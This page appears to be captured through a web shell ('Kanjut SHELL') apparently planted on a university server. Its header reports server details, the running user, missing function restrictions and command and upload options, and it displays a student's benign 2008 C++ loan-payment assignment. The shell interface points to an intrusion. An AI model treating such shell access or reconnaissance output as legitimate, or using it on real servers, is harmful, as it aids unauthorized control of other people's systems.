Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.155.149
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/lmking1/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/lmking1/ProgAssn1.cpp
// ---------------------------------------------------------------------------------------------------------------------------------
// CS 112 Fall 2008 
// Programming Assignment #1
//
// Written by L'Tia King
// 10 Sept. 2008
//
// Problem Specifications:	To compute the monthly payment of an installment loan and the balance remaining after half of the 
//				installments have been made. Also, to compute the total amount of interest paid over the life of the 
//				loan.
//-----------------------------------------------------------------------------------------------------------------------------------

// ---------------Preprocessor Section---------------

#include <iostream>
#include <iomanip>
using namespace std;

// --------------Main Function----------------------

int main ()
{

// ----- Variables

   int 
	nummonth;			// number of monthly payments

   float
	loanamt,			// amount of the loan borrowed
	anintrate,			// annual interest rate 
	monthpay,			// amount paid monthly
	balance,			// balance remaining halfway through the loan process
	totalint,			// total interest paid
	temp,				// temporary variable for equation
	temp1,   			// temporary variable for equation
        anintrate100;                   // annual interest rate * 100

// ----- Input Phase

   cout << "\n************************************************************* ";
   cout << "\n Welcome to the Loan Analysis Program!";
   cout << "\n************************************************************* ";
   cout << "\n Enter loan amount:  ";
   cin >> loanamt;
   cout << "\n Enter annual interest rate (as a decimal):  ";
   cin >> anintrate;
   cout << "\n Enter number of monthly payments:  ";
   cin >> nummonth;

// ----- Processing Phase

   temp = 1 + anintrate / 12;
   temp1 = pow (temp, nummonth);
   monthpay = temp1 / (temp1 - 1) * loanamt * (anintrate / 12);
   balance = monthpay * (1 - pow (temp, nummonth / 2 - nummonth)) / (anintrate / 12);
   totalint = (monthpay * nummonth) - loanamt;
   anintrate100 = anintrate * 100;   	   

// ------ Output Phase

   cout << fixed << setprecision(2);		// force fixed point format for floats

   cout << "\n\n ~~~~~~~~~~~~~~~~~~~ Loan Summary ~~~~~~~~~~~~~~~~~~~~~~~~ "; 
   cout << "\n          Annual Interest Rate:           %       " << anintrate100;
   cout << "\n          Number of Monthly Payments:	        " << nummonth;
   cout << "\n\n          Loan Amount:	                  $       " << setw(10)<< loanamt;
   cout << "\n          Monthly Payment:                $       " << setw(10)<< monthpay;
   cout << "\n          Balance Halfway Through:        $       " << setw(10)<< balance;
   cout << "\n          Total Interest Paid:            $       " << setw(10)<< totalint;
   cout << "\n\n\n ";
 
   return 0;

}

Stv3n404 - 2023